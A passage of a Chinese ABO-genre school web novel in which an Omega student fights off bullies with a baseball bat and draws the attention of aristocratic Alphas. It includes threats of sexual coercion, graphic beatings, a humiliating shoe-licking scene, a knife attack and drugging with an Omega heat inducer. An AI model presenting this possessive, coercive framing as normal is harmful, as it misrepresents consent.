我靠,这平民O到底什么来历,恐怖如斯。
18L
身为一个平民O,开学第一天拳打lrs,之后从学生会安然无恙走出来,没有收到任何处罚。
19L
奥尔斯顿要变天了!
【此贴已被删除!】
赵圆撇撇嘴,放下手机。
“又被删了?”同桌小声地问。
赵圆点点头,带点窃喜地回答:“嗯。不过我已经把视频保存到相册里了。”
她们相视一笑,悄悄比了个耶。
“感觉B班的天龙人也不是那么厉害嘛……赵应随不是轻轻松松就……唔?”
“小声一点!”眼看着同桌越说声音越大,赵圆立马捂住她的嘴,示意她不要激动。
她们默契的地往后看,赵应随坐在自己的位置上,单手支头,另一只手翻看着课本。他的同桌看似是在面朝着赵应随睡觉,实际上是在睁着眼悄悄看赵应随的侧脸。
无论看多少次,赵圆还是会被赵应随的脸惊艳,她捏捏自己的脸,同样都姓赵,都是O,怎么差距就这么大?
“班长,你过来。”林老师站在门前,示意赵圆过去。
林老师说:“咱班这下节体育课要练习棒球,你挑两个人提前去器材室拿器材,要二十个棒球棍和棒球,轮着来啊。”
赵圆点点头,回到教室宣布这个消息,有人欢喜有人愁。
赵圆:“那咱们就按学号的顺序来领器材吧!”
见没有人反对,赵圆打开点名表,神情有些紧张地说:“赵、赵应随和陆仁佳。”
陆仁佳受宠若惊地站起来,有些不好意思地跟在赵应随后面离开教室,眼看着赵应随马上要消失在走廊拐角处,陆仁佳有些着急地相跟上去,却被邵祁一把抓住肩膀。
陆仁佳忍痛回头,邵祁语气淡淡,“你不舒服,我跟他去。”
“啊?”陆仁佳犹豫的时候,邵祁就已经迈开长腿,消失在视线里了。
陆仁佳哭丧着脸,懊恼着自己的懦弱。
器材室位于操场之外,从教学楼出来要经过一条长长的林荫路。
赵应随方向感不错,不多时就到达目的地。
一进门,喧闹的器材室静默了一瞬,人群很快窃窃私语了起来。
“就是他?那个打了李任声的Omega?”
“这脸,这身段,啧啧……”
讽刺又玩味的,好奇而疑惑的,垂涎而下流的,各种目光犹如冷箭一般射在赵应随身上。
赵应随视而不见,俯身在登记表上登记信息。
Omega卷起一段衣袖,露出皓白的手腕和突出的骨节,几缕发丝从耳间掉落,抚过精致的侧脸。
人群中有Alpha吞咽一声,像是被迷惑了一般,难以自抑地往前走了两步,却在中途停下来。
邵祁用自己的身体遮住赵应随,挡住那些不怀好意的视线,凶狠地环顾四周,警示在场的Alpha们。
“啧啧,勾人的本事不小啊,这才几天了,都钓着Alpha了。”
“哈,是个平民,你这么漂亮跟着他可是暴殄天物,甩了他跟我吧。”
邵祁的出现,反倒让恶意摆上台面,各种下流的揣测层出不穷。
邵祁的拳头吱吱作响。
“走了。”清点好东西,赵应随抬腿离开。
在前往操场的林荫路上,邵祁上前从赵应随怀里拿走大部分的器材,犹豫了半响,不知道该怎么宽慰赵应随,张嘴又合上,第一次痛恨自己的嘴笨。
小心翼翼地看了一眼赵应随,斑驳的
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光影映在Omega的脸上。
他好像已经习惯了,这样想着,一股酸涩在邵祁心头涌动。
赵应随停下了脚步。
李任声站在人群之前,单手插兜,穿着T恤,露出健壮的臂膀。
“滚开!”邵祁被突然出现的四五个的Alpha按在地上动弹不得,李任声得意地走过来,一脚把棒球踢到邵祁脸上。
Alpha们默契地围成圈,堵住赵应随的所有退路。
李任声看着邵祁狰狞的面目,忍不住勾起嘴角,伸出两根手指在面前晃了晃,“你们俩,可是让我颜面尽失啊,我怎么能不找回场子呢?嗯?”
转而扭头看向赵应随,李任声目光里满是油腻的柔情。“这事总该有个了断。这样吧,要么,赵应随你陪我兄弟们玩玩,放心,放心,”李任声乐不可支地举起双手,“不去玩一些危险的游戏,顶多就是拍拍一些见不得人的视频。”
“你做梦!”
看着邵祁在愤怒而变得通红的脸,李任声嗤笑一声,给出了第二个选择,“要么,你跪下来跟我兄弟们各磕一个头,毕竟你也麻烦他们了不是吗?然后在周一的晨会上狗叫两声,如何?”
“痴、人、说、梦。”
按着邵祁的Alpha手忙脚乱地加大力气,才勉强按着身下愤怒的Alpha。
“哈哈哈哈哈哈,痴人说梦的人是你!”李任声笑出了眼泪,示意Alpha们放开邵祁,“你觉得你有拒绝的权力吗?”
邵祁牙齿咬的作响,却也不得不承认对方人多势众,根本没有讨价还价的可能。
李任声了然地笑笑,赞赏地点头,“也是嘛,Alpha地尊严比什么都重要。”说着,李任声伸手去抓赵应随的胳膊。
“别动他!”邵祁声音沙哑,狠辣的日光照在脸上,喉结滚动,“我按照你的要求做,你保证放过他。”
“当然。”李任声耸肩。
身旁高大建筑的三楼,是为A班Alpha们准备的休息室,巨大的落地窗不仅让阳光畅通无阻,也里面的Alpha们也能轻易地俯视着整个操场。
任胜寒喜欢站在落地窗前,高高在上地俯视着地面上成群的蝼蚁。毕竟,这些平民连校服都是黑色不是吗?
看着他们笨手笨脚地学习棒球、马术、足球,这些他从小就学习并且精通的项目,看着他们窘迫尴尬的表情,不,任胜寒怎么会笑呢?
对于蝼蚁而言,这不是理所应当吗?
日子久了,任胜寒只是感到乏味,一批又一批的蝼蚁,同样的弱小无能,连直视他都做不到。
如果不是有人告诉他今天有好戏看,任胜寒或许再也不会踏入这间休息室。
“就是这个Omega?”任胜寒轻轻晃动酒杯,难得露出了笑容,“长得不错。”
俯在任胜寒膝头的Omega惊讶地探起头,心中警铃大作,细如玉的手指放在任胜寒小臂上,娇滴滴地问:“比我还好看吗?二少。”
如果让其他人看到这一画面,一定会大吃一惊。眼前的Omege神色妩媚,衣不蔽体,正在努力地展示自己的身体线条,这与他荧幕上青涩倔强的形象大相径庭。
任胜寒推开Omega的手指,无视Omege变得惨白的脸,漫不经心地评价:“呵,以多欺少。”
身旁立马有人接话,“那是那是,李任声这暴发户做派真是上不了台面。”语气中轻蔑之意难掩,这群“贵族”们之间也有一条看不见的鄙视链。
根本不用想李任声会用什么手段找回自己的场子,他那光滑的大脑,也能只能想出一些下作的方法。
用Omega威胁Alpha乖乖就范,而事后,Omega也难以逃脱被折磨的命运。
简直是丢了奥尔斯顿的脸。
豆大的汗珠从脸庞滚下,在李任声的连连催促下,邵祁闭上双眼,在准备跪下的一瞬间,听到了一阵痛呼。
他睁开双眼,一个Alpha正趴在赵应随脚下,冰冷的火焰在赵应随眼中燃烧。
“我让你跪下了?”赵应随淡然地说。
5. 第 5 章
“我按照你的要求做,你保证放过他。”
天真,赵应随想。
邵祁觉得牺牲自己就能保全他吗?
棒球和棒球棍洒落一地,赵应随随手拿起一根棒球棒,掂了掂重量,随后一闷棍打在最近的Alpha身上。
被打的Alpha昏死前不甘看了一眼赵应随,像是不明白自己为什么会被赵应随如此干净利落地解决。
他也不需要别人保护。
Alpha们面面相觑,没人把Omega放在眼里,在他们的观念里,此刻的Omega应该哭哭啼啼地站在一旁。
不过事已至此,Alpha们一拥而上,准备先把Omega拿下再说。
赵应随根据Alpha们的攻击移动,偶尔露出精瘦的腰身,手上用力挥动棒球棍,动作迅猛而有力。在一个个Alpha倒下后,剩余的Alpha们惊慌失措,四处躲避。
赵应随并没有放过任何一个目标,不断调整方向和力度,继续击打周围的Alpha。整个过程充斥着紧张与混乱,每个Alpha都在尽力避开那根致命的棒球棒。
李任声额头上布满汗珠,看着所有的Alpha就像一只蚂蚁一样,那么轻易地就被踩死。
他深感懊悔,慌乱中捡起一根棒球棒,看着一步一步向自己走来的赵应随,虚张声势地说:“呵……别过来!知道任胜寒吗?那可是我老大。”
赵应随冷着脸充耳不闻,挥起棒球棒就要打下来,破空声犹如黑夜的雷电,伴随着强大的冲击力。
一个Omega能有什么力气?
李任声硬着头皮迎击,在两根球棒碰撞的一瞬间发出清脆的碰撞声,震动沿着球棒传到手腕,手腕猛地一酸,球棒应声而掉。
还未来得及反应,赵应随一棒又要挥下来,球棒的阴影投射在李任声绝望的脸上,他不是Omega吗?
“啊———”李任声竭尽全力躲开这一击,带着劫后余生的笑容举起冲向赵应随。
太慢了。赵应随侧身躲过,一棒打在李任声的侧颈,合金材质的球棒与皮肉之下的骨头接触时,能听到细微的骨头碎裂的声音。
失去意识的李任声摇摇欲坠,赵应随一脚踹在他的肚子上,如同断了线的风筝一般,李任声轻飘飘地飞出十几米,躺在地上奄奄一息。
赵应随环视一周,右手的球棒顶端,鲜血正一滴一滴坠落。
见危险解除,赵应随使了个巧劲,残余在球棒上的血滴被甩下来,他垂下眼皮,毕竟这是公共用品,得去清洗一下。
突然,赵应随若有所感地抬起头,望向三楼的方向。
Omega穿着不合身的校服,显得身型有些消瘦,长发及腰,因风而动的发丝下是漂亮的眼睛,微微上挑的弧度,多情而妖冶,冷白的脸颊上有几滴无意间溅上的血滴,同朱唇一样的红。
如同荆棘密布的花园里,盛开的一朵危险而迷人的玫瑰。
竟然被感知到了。
任胜寒喉结滚动,手指在下巴摩挲,眼睛里迸发着兴奋而愉悦的光,血液逆流的感觉是那么明显,如同狮王在领地里寻觅到罕见鲜美的猎物,比起即刻咬断脆弱的喉管,狮王更喜欢征服他的傲骨,碾断他的脊梁,慢慢享用他的滋味。
赵应随低下头,单面玻璃窗让在外的人什么也看不见。
叮咚———上课了。
赵应随喊醒正在发愣的邵祁,将棒球棍和棒球拾完后匆匆向操场走去。邵祁与赵应随并肩,递给他一方手帕,示意他脸上有血,“你……没事吧?”
赵应随擦拭完后将手帕收起来,“洗干净还你。”
“对不起,”邵祁说,“我太没用了。”
赵应随没有责怪邵祁的意思,“四五个Alpha按着的话,就算是我也挣脱不开。”
可是你会在他们碰到你之前闪开的,邵祁想。
明明是个Omega,可赵应随不光长得漂亮,还很会打架,连自己这个Alpha也比不上。
“赵应随。”邵祁郑重其事地说,“我会努力,努力到有一天你可以依靠我,被我保护。”Alpha的眼神坚定,如同被雨后抽条的竹。
赵应随看着邵祁摇摇头,“你不应该这么想。”
邵祁有些茫然地看向赵应随,不明白他话中的含义。
赵应随却没有解释的打算,只是加快了步伐,在上课五分钟后,终于将器材送到操场上。
体育老师对着他们两个的迟到十分不满,唠唠叨叨了两分钟,才在学生的催促下开始上课。
第一节课只需要学一些基础的动作,体育老师演示过几遍后,让两人组成小组一起练习,互相监督动作。
邵祁神态专注,动作标准,漂亮的肌肉线条随着动作而展现,吸引了很多Omega的目光。体育老师在一旁满意地点头。
轮到赵应随后,赵应随只是拿起球棒,随意挥动两下,动作绵软无力。
“累了吗?”邵祁关切地问。赵应随摇摇头,他只是想藏拙而已。
邵祁似乎理解了赵应随的意思,从赵应随手中接过球棒,开始认真地练习。
赵应随小口喝着邵祁买来的冰水,偶尔指出邵祁动作的不规范之处。
……………
暮色四合,赵应随回到宿舍,随意地梳洗下,躺在床上睡了。
他又做了梦。
一个健壮结实的男人双手被领带绑住,露出大片裸露的胸膛,他膝行到赵应随脚边,用自己的脸轻轻蹭着“赵应随”的手心。
男人依旧看不清脸。
“赵应随”不为所动,用脚抵住男人的胸膛,拉开距离。
男人哼笑一声,在清瘦突出的内踝骨上烙下一个吻,一路向上,嘴里不停地说着抱歉。
“赵应随”像是被烦到了,低头看着男人的脸,一只手按压着男人左脸上未结痂的伤,语气危险,“知道错了?”
“当然。”男人轻吻了下“赵应随”的手指,如蜻蜓点水。
赵应随睁开双眼,从梦中醒来,这是他第一次做这个梦。
…………
赵应随到教室的时候,早读刚刚开始。
顶着语文老师的死亡凝视,赵应随心如止水地坐到自己位置上,拿出书做样子。顺便一胳膊肘把昏睡的邵祁叫醒。
上课,吃饭,午睡,上课,一天如流水般过去。放
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学后,学生们奔涌出教室,或是去食堂,或是去打球。
赵应随和邵祁今天值日,等到他们离开教室,天已昏黄,夕阳如血。
他们距离楼梯还有一段距离时,一阵哀求声随风飘入耳朵,语气卑微,声音有几分耳熟。
赵应随凝神静听,声音自楼上传来,脚步声离他们越来越近。
任胜寒随意地抛玩着车钥匙,偶尔漫不经心地“嗯”一声表示自己在听。
“二少,能不能麻烦您帮我在校长面前求个情,让他别开除我,您就当留一条忠心的狗在您身边孝敬您啊……”李任声卑躬屈膝地跟在任胜寒身后,小心翼翼地打量着任胜寒的神色。
任胜寒饶有趣味地说:“哦?”
“这次都是因为那个Omega和Alpha挑衅在先,人家都说,打狗也要看主人,”李任声见任胜寒没有否认,顺着话往下说,“为了您的脸面,我也得把场子找回来啊。”
任胜寒停住脚步,讽刺道:“你的意思是,你和一群酒囊饭袋去围堵一个Omega却反被打伤,也是为了我的面子?”
李任声冷汗直流。
“对了……”任胜寒抬起脚,“我的鞋脏了。”
李任声闻言松了肩膀,立马蹲下来拿出手帕擦拭着光洁如新的鞋面,比他做高数题还要认真百倍。
任胜寒的脚微移,李任声抬头,讨好地看着任胜寒高高在上的脸,“怎么了?二少。”
任胜寒皱眉,“你的手帕,很脏。”
李任声看着不带任何污迹的手帕,哑然。
赵应随站在离他们咫尺之近的地方,微微皱眉。
与其说奥尔斯顿是一个学校,倒不如说是一座大型的名利场,能在这里上学的,大部分都是家族的继承人,他们在这里交友,拉拢潜在的合作的对象。
成为奥尔斯顿的学生,就像是拿到了进入上流社会的入场劵。如果被开除,就相当于被宣告出局。对于身后的家族可是极大的损失。
李任声如果真的被开除,连同整个家族都会收到牵连。所以对于任胜寒再恶劣的要求,李任声也会满口答应。
“所以……”任胜寒拉长了尾音,在李任声略带无助的眼神中恶意地笑,“舔干净吧。”
李任声语无伦次:“这、这,任二少。”
“嗯?”任胜寒似笑非笑地看着他。
脑中天人交战良久,李任声最后还是跪在地上,弓着背低头,伸出舌头轻轻地在任胜寒的鞋上舔了一口,眼眶通红,屈辱地泪水夺眶而出,就像是电影里的慢镜头一样,他缓缓抬起了头,让任胜寒看清楚自己屈辱的神色,“任二少,我可以继续上学了吗?”
任胜寒嗤笑一声,一脚踢开李任声软弱的身体,语气嘲讽,“我可不缺一条狗。”
李任声仰坐在楼梯上,呆滞地看着任胜寒离去的背影,“为、为什么……”
明令禁止车通行的教学楼前,一辆蓝色的超跑停在梧桐树下,车里的人见任胜寒过来,打开车门,浅笑盈盈地蹲下身子为任胜寒换了一双鞋,随手将被李任声舔过的鞋扔进垃圾桶。
任胜寒像对待宠物似的摸了摸那人的下巴,随后开车扬长而去。
6. 第 6 章
李任声呆呆地坐楼梯上,半响,失魂落魄地走下楼,脸色苍白,形如幽魂。
赵应随问邵祁:“你知道他为什么被舍弃了吗?”
邵祁沉默片刻,回答道:“因为他太蠢。”
大庭广众之下,李任声屡次三番地挑出事端,手段下作,“贵族们”喜爱高高在上地俯视着“平民”,自恃甚高,怎么会自辱身份,正面与“平民”发生冲突,又次次铩羽而归,岂不是让人看了下笑话。
“不只是如此,”转过身,赵应随一只手覆在邵祁的左脸,大拇指用力按压着伤口,“更重要的是,他放弃了尊严。”
在李任声跪下来伸出舌头的那一刻,他就已经没有了“尊严”,人因尊严而活,只有趴在脚下的狗,才不需要尊严,狗只需要欢快额地舔主人的鞋面,摇着尾巴讨好主人。
而任胜寒他们这群人,最不缺的就是狗。
赵应随接受可靠优秀的伙伴,不需要一条没有尊严的狗。
邵祁就像没有痛感一样,直视着赵应随的眼睛,乌黑的眼珠颤动,良久才哑着嗓子开口:“如果,尊严的另一头是你呢?”
赵应随嗤笑一声,“你觉得我会输?”
多么狂妄。
可就是这稍显狂妄的话语反而让赵应随显得更加生动,如同最完美的雕塑因为残缺而变得美丽。更何况,赵应随骨子不经意间透露出的自信和强大,然让人犹如最虔诚的信徒,深信不疑地相信,赵应随不会输。
“知道错了吗?”赵应随自然而然地说出这句话,熟练地仿佛已经说过千百次。
“当然。”邵祁哑声道。
赵应随一愣,眼前的场景与梦中的对话重合,他的脑海中不停闪过梦中的画面,直到男人的脸与邵祁的脸完全重合。
赵应随一时间怔愣住,久久没有动作。
邵祁乖乖低着头,安静的地注视着赵应随略微失神的眼睛。直到邵祁脖子酸痛到难以忍受,赵应随才收回手,头也不回地往前走。
赵应随心绪混乱,由着邵祁在自己后面,眼巴巴地看着赵应随离去。
自从李任声退学后,邵祁明显感觉到赵应随对自己态度的发生了改变,少了几分冷漠,多了几分纵容,有时心情好的时候,甚至能允许邵祁和他有肢体接触。
就别说现在,自习课的教室静谧无声,学生们埋头做题,今天布置的作业很难,许多人抓耳挠腮想不出答案。
但是赵应随不会,他与其他人格格不入,他只是安静地坐在位置上,思路滞涩时,轻轻转笔,不多时答案就算出来了。
邵祁面对着赵应随趴在桌子上,盯着赵应随漂亮的指尖出神,而没有收到赵应随警告的眼神,这是他最近有的特权。
突然,阴影落在赵应随的指尖,邵祁眉头一皱,抬头望向窗外。赵应随抬起头,一个Alpha站立在床边,身后跟着乌泱泱一群人,Alpha看着邵祁,轻声开口:“自习课上课睡觉,C班扣两分。”
Alpha生的一副好皮相,只可惜浑身散发冷气,拒人于千里之外,手腕上是GUCCI机械男士手表,胸牌上写着“学生会会长”龙飞凤舞的五个字。
副会长站在Alpha一步之遥的地方,闻言低头记录。
Alpha转身之际,不经意间扫过赵应随的脸,略微一顿,脚步不停地继续巡查各班自习课情况。
邵祁皱眉,“我没睡。”
“我知道,”赵应随重新低下头写题,“下次多注意。”
邵祁低声嗯了一声,目光中的忐忑不安消失殆尽,他没有所谓的班级荣誉感,只在乎赵应随的想法。
临近放学,邵祁突然接到了一个电话,语气从不耐转而变为担心急迫,挂了电话,邵祁低声道:“我有点事。”赵应随轻轻点头。
邵祁走后没多久,放学铃响起,待人群走后,赵应随搁下笔,不慌不忙地走出教室。
枝繁叶茂的梧桐树沙沙作响,严作凡单肩背包,一只手拿笔,一只手举着卷子,偶尔在卷子上写写画画。
这也太巧了。
赵应随加快步伐,想要超过严作凡,严作凡身形猛然一晃,赵应随下意识拉住严作凡的胳膊,意识到自己做了什么,赵应随默然收回手。
严作凡稳住身形,颇有礼貌地道谢:“多谢。”那怕没有赵应随,他也不会跌倒,不过眼前的Omega向自己伸出援手,严作凡不想拂了他的好意。
不过,严作凡微微眯眼,这样的花招他已经见过了太多。
出乎意料的,赵应随答了一句“不客气”便想离去,好像严作凡不是清俊高贵的少爷,而是什么洪水猛兽。
严作凡:“同学,能麻烦你帮我找一下眼镜吗?”赵应随扭头,严作凡眼神失焦,略微茫然地看着赵应随的方向,露出的得体而无懈可击的微笑。
赵应随定定看着严作凡,严作凡依旧保持着微笑,没有半点不耐烦的样子。
扫视一圈,赵应随在梧桐树树根下找到了眼镜,镜腿上有像是被人踢出来的擦痕,赵应随把眼镜递给严作凡。
“谢谢。”严作凡从校服口袋里拿出眼睛布,擦拭了几下,戴上眼镜的眼睛变得深邃有神。
严作凡微微笑着,将卷子往赵应随的方向上递出去,“同学,这道题……你会吗?”
赵应随停下脚步,搞不懂这位会长葫芦里卖的到底是什么药。“我不擅长数学。”赵应随这样解释着。
严作凡扶了一下镜框,“可我巡查时,看到你正在做这类似体型,如果我的记忆没有出错的话,答案好像是全对?”
赵应随转过身来,正对着严作凡,叹了口气,接过卷子。袖管半卷,露出皓白凝冷的手腕,青色的血管像清晰可见,蜿蜒地隐入衬衫中。
严作凡镜片里的眼镜微眯,闪过危险夺目的光。
赵应随低头,耳后的碎发顺着重力低垂,微卷的末梢在卷面上轻轻滑动上午刚刚做过类似题型,不过是第二问运用了另外一个知识点,赵应随思考片刻,简要地写下关键步骤,字迹工整而不
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失锋芒。
严作凡接过卷子,略略看了几眼,把卷子收到包里,“多谢你了。不介意的话,可否让我与你同行?”
虽然语气称得上是礼貌谦逊,不过严作凡没有给赵应随拒绝的权力,走上几步与赵应随并肩,左手伸出邀请的手势,礼貌地等待赵应随迈出一步。
赵应随颇为无语,和严作凡一起穿过中庭,一旁是以入学考试排名为参考排序的学生照片,红底白衣,大多数学生看起来都十分青涩,排名第一的是严作凡,清俊高冷,如同冰窟里最纯净冷冽的冰。
与优秀学生照片相对的墙上,挂着优秀毕业生的照片,从大权在握的总统、富可敌国的商人,再到德高望重的学者,包含了各个领域的天之骄子,整个社会的中流砥柱。
不过在最顶上,有两张照片连带着姓名被撤了下来,显得尤为突兀。
严作凡看出赵应随的疑惑,解释道:“十年前,现在的校长刚一上任就把这两张照片撤了下来,也不允许挂上其他照片。”
“那两张照片的人是谁?”严作凡摇摇头,低声道:“我也不太清楚,知情者都讳莫如深,什么都打听不到。”也因此,照片上的人是谁也成为了奥尔斯顿十大未解之谜之一。
一路走来,路过他们两人的学生在给严作凡打招呼时,眼神止不住地往赵应随脸上跑,他们身后亦有止不住的窃窃私语声。赵应随对这种目光感到厌烦,严作凡倒是一切如常,显然是习惯了这样的状况。
不过好一点是,Omega宿舍距离中庭不算远,赵应随不必忍受这种情况太多时间。
“我要回宿舍了,再见。”赵应随道。
严作凡礼貌地点点头,微笑:“再见。”随后转身离去。
赵应随想,以后要避着点严作凡。虽然严作凡在那群“贵族”里可以称得上温柔有礼,谦逊礼貌,但是他骨子里依旧流淌着倨傲的血,得体的举止不过是一张薄如蝉翼的伪装,根深蒂固的傲慢体现在细节之中。
Omega宿舍楼里,Omega们嫉妒怨恨地看着赵应随的脸,不明白赵应随哪里吸引了严作凡。
赵应随对于他们的恶意统统视而不见,严作凡也不会考虑他和赵应随走在一起,会在校园里传出怎样的传闻,他只是赵应随有些兴趣罢了,至于赵应随之后会怎么样,就不是他考虑范围内的事情。
所以,严作凡这种Alpha,能不扯上关系就不扯上关系,赵应随这么想着。
但是人世间最不缺的就是阴差阳错,事与愿违。
赵应随木着脸坐在椅子上,身上披着邵祁的外套,上面带着Alpha微热的体温。
一墙之隔的房间里,邵祁略显暴躁地把手按在透明玻璃墙上,紧紧盯着Omega的一举一动。一旁的任胜寒闲散地靠在墙上,颇有闲心地想:邵祁好像一条与主人分开的大型犬。
门锁被打开的声音。
赵应随迎着逆光,严作凡脸上带着信息素过滤器,露出的眼睛微微弯起,“又见面了。”
7. 第 7 章
李任声最终退了学,时间匆匆,转眼就到了周五。
教室里人心浮动,授课的老师也漫不经心,共同期盼着假期。下课铃声响起,学生们呼朋引伴,计划着在这个周末去某个地方逍遥,放松身心。
赵应随和邵祁附近形成一个真空地带,将所有喧嚣与嘈杂隔绝开来。
邵祁脑中迂回百遍,组织着语言,半响才开口:“你这个周末有什么安排?想去哪里玩吗?”
赵应随扭头看他,“你呢?”
“我去打工。”邵祁坦率地说。
赵应随没说话,邵祁就接着把话说下去,“在魏中区,一家面包店,时薪30,早八晚九。”
相处了一周,邵祁也逐渐了解赵应随的性格,如果说“嗯”就是代表“他知道了”或者“话题可以结束了”,如果不说话就代表邵祁可以多说一些。
魏中区是有名的富人区。
赵应随轻点桌面,“还招人吗?”邵祁并不意外赵应随的想法,甚至他主动告知赵应随自己要去打工也是存的这个心思,“招人。”
“一起去?”
赵应随点头。
还未出校门,赵应随和邵祁就被两个Alpha拦下,身穿藏蓝色校服的Alpha神情倨傲,“任二少爷请你们俩过去见个面。”
赵应随神色淡淡,拒绝邀请,“我们还有事,今天没办法过去。”
被拒绝的Alpha一脸不可思议,难以置信地反问:“哈?你不去?”
据Alpha本人所知,赵应随是第一个拒绝任胜寒的Omega,以往任胜寒只需要勾勾手指,就有数不清的Omega蜂拥而至。
更何况,这还是任胜寒第一次邀请一个Omega见面。要是自己把这个消息告诉任胜寒………
Alpha咽了下口水,不敢想象他的下场有多惨烈。
“不行!今天你必须过去。“Alpha撸起袖子,想要强行把赵应随带过去,却被另一个Alpha拦下,挡在身后。
神色冷静的Alpha环视一周,周围看热闹的学生瞬间低下头快速远离他们,待到周围没什么人后,Alpha含笑开口:“是这样吗?不知道你方不方便告诉我们有什么事,也好让我们跟任少爷有个交代。”
赵应随:“打工。”
Alpha点头让出路,“好的,就不耽误您的时间了。”
待到赵应随二人离去,Alpha略微暴躁地揉头,忿忿道:“这怎么跟跟任少爷交代啊?”
一旁的Alpha:“实话实说。任少爷知道赵应随又不是什么容易掌控的Omega,咱们请不动也正常,但如果再闹出什么大动静,咱俩才没什么好果子吃。”
事情也果然如Alpha所料,任胜寒对于赵应随的拒绝不置一词,在酒吧目眩神迷的灯光中,任胜寒举起酒杯,轻轻晃动玻璃杯中橙黄色的液体。
………
赵应随面前坐着面包店店长,秃头的中年男人面色严肃地询问:“有过类似的工作经验吗?”
赵应随回答有,随后说了几家曾经工作过的面包店的名字。店长神色放松许多,在看到赵应随干净利落的动作后,店长紧紧握着赵应随的手,巴不得赵应随立马工作。
店长虽然是个Beta,手劲却很大。
赵应随忍住了,“我只有周末过来。”
“没问题!”店长一口答应下来,没等合同打印好,副店长就把店长拉到一旁,小声询问:“店长,小赵这张脸,在厨房做面包多可惜!”
赵应随注意到店长的目光,微微一笑。店长立马捂住胸口,默念着我是Beta我是Beta,点头附和副店长的话。
副店长拉过店长的耳朵,小声说些什么。
赵应随安静地站在一旁,透过透明玻璃,他可以看到邵祁忙碌的身影。邵祁若有所感,抬头对赵应随的目光报以微笑,随后继续工作,从烤箱中将烤盘端出,面包在上面排列的整整齐齐。
店长:“咳咳,经过我和副店长的慎重思考,我们决定应聘你为我们店的新员工。”
副店长:“不过……你想不想当收银?”
赵应随思考片刻,很快给出了答复:“工资呢?”
“一小时20。”副店长说。
店长看着赵应随一言不发,立马跟着说:“也可以再议!”
副店长恨铁不成钢地看着店长。
赵应随答应了下来,跟着副店长熟悉了流程后,周六开始上岗。
如副店长所料,赵应随的脸为面包店吸引了不少流量,不少人冲着赵应随而来,名片和写着电话号码的便利贴挤满了桌子。
打扫卫生的副店长还调笑了两句赵应随,声称要让店长给赵应随加工资。邵祁臭着脸,将装着名片和便利贴的垃圾袋丢出去。
副店长小声道:“吃醋了。”
赵应随面无表情:“我跟邵祁不是这种关系。”
店长和副店长脸上写着四个字:我们都懂。
赵应随:………
因为邵祁的高效率,卫生很快打扫完毕,赵应随打开收款码,收到了今天的工资,比规定的多了两百块。
赵应随礼貌道谢,店长说今天也是托了赵应随的福。
夜晚,魏中区灯火璀璨,并不如赵应随居住地方那样,路灯如同摆设,还需要打开手电筒照路。
一辆跑车极速而过,却慢慢倒回来,车窗缓缓降下,露出任胜寒那张英俊倜傥的脸,任胜寒将一只手伸出窗外,烟雾缭绕,“赵应随,刚下班?”
邵祁略带警惕地站在赵应随身前,赵应随没有回答任胜寒的问题,神色自若,仿佛站在他面前对只是个普通人。
任胜寒也不恼,他对于赵应随除了好奇心和征服欲之外,还有着连他自己也惊讶的耐心。按照他的习惯,超过三秒没有得到想要的答案,那人恐怕就凶多吉少。
此刻,任胜寒刚从闹哄哄的酒吧出来,随手带了个Omega上车,被酒精侵蚀的大脑清醒异常,觉得一切都乏味枯燥,耐心更是少的不能再少。
但是看到赵应随的那张脸,任胜寒没有得到回答也不恼怒,只是抛出另一个问题:“赵应随,你在想什么?”
赵应随:“这里禁止停车。”禁止停车的标示牌就在旁边。
任胜寒一愣,忍不住笑起来。
空气中烟酒味道刺鼻,赵应随又道:“最好找个
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代驾。”
任胜寒把头放在伸出手窗外的胳膊上,噙着笑意,低声道:“哈,可以。”
看着赵应随的背影,任胜寒提醒道:“注意安全。”
赵应随脚步一顿,继续往前走去。
任胜寒盯着灯光不能及的阴暗角落,嘴角勾起一抹不屑的笑。
微笑的弧度逐渐消失,任胜寒拽着伏在自己跨间Omega的头发,逼迫他抬起头,任胜寒轻拍Omega那张我见犹怜的脸,命令道:“出来开车。”
………
周末两天的时光过得很快,面包店生意红火,任胜寒定了个大单,点名让赵应随去送,店长毅然决然地拒绝,任胜寒倒也没有为难。
总而言之,这份工作比在工地和酒吧要好得多。
赵应随接过邵祁买来的早餐,和他一起向学校走去。
在校门口,跟一辆超跑擦肩而过,赵应随的肩膀被邵祁搂过,免得赵应随受伤。
轮胎与地面摩擦发出刺耳的声音,超跑应声而停,任胜寒戴着墨镜,从车上走下来,在赵应随面前轻松站立。“今天有空吗?”
任胜寒用眼神一寸一寸临摹着赵应随的脸。Omega无疑有着惊人的美貌,漂亮的花瓶不少见,能够一对多且完全碾压Alpha的花瓶可不多见,赵应随成功挑起了任胜寒心中肆虐的征服欲,他迫不及待地想把玫瑰碾碎,揉/烂,让芳馥的汁液涂满指节。
Alpha的目光太有侵略性,赵应随知道任胜寒脑子里想些什么,但是与李任声不同,任胜寒并不是个好招惹的Alpha,不能硬来,这也是为何他看屡次交代邵祁不要动手的原因。
赵应随看向任胜寒身后的车,淡声道:“校门口。”校规第四十二条:校门前禁止停车。
这也是任胜寒为何会对赵应随感兴趣的原因之一,不像其他平民,见到他就如同老鼠见了猫,或者仇恨嫉妒任胜寒的命好,赵应随性格冷淡却又懂得周旋,自信聪明又能恰到好处的拿捏好分寸。
任胜寒开口,正欲说些什么,余光却瞥见有一道黑影向赵应随扑来,邵祁反应过更快,立马用身体护住赵应随,任胜寒一脚踢在那人的肚子上,发出沉闷的声音,鲜血从那人嘴角流出。
赵应随推开邵祁的手臂,从地上捡起一把匕首,锋利的匕首在日光下泛着寒光,这人是真的想要赵应随的命。
在场的所有人都意识到这一点,任胜寒的脸色尤其难看,奥尔斯顿的安保人员都是吃干饭吗?
迟来的保安按住凶手,任胜寒用脚抬起凶手的下巴,露出一张熟悉的脸。
李任声的脸上布满灰尘和汗水的痕迹,脏得让人难以接受,眼神满是红血丝,疯狂而疲惫,带着孤注一掷的愤恨,歇斯底里地大喊:“赵应随,我要杀了你!如果不是你,我又怎么会家破人亡,沦落到今天这地步!杀了你!”
赵应随还未多言,任胜寒一脚踢在李任声的脸上,牙齿从半空中落地,李任声满脸血污,没了声息,而他在口袋中的手指用最后的力气捏碎了胶囊。
胶囊破碎,赵应随闻到一股异香,热流从下到上流过,赵应随腰身发软,眼神逐渐迷离,胶囊里是诱导Omega发情的发情剂。
8. 第 8 章
任胜寒在奥尔斯顿可以称得上是威名远扬,他本人喜怒无常,暴戾恣睢,但又家世显赫,因此无论是“贵族”还是“平民”都不愿意和这尊煞神有牵扯。
所以在李任声释放诱导Omega的发情剂时,波及到人数不多,学生会能把事态控制到有限的范围。
赵应随打了抑制剂,已经恢复了理智,对于严作凡的“审问”能够做出清晰准确的回答。
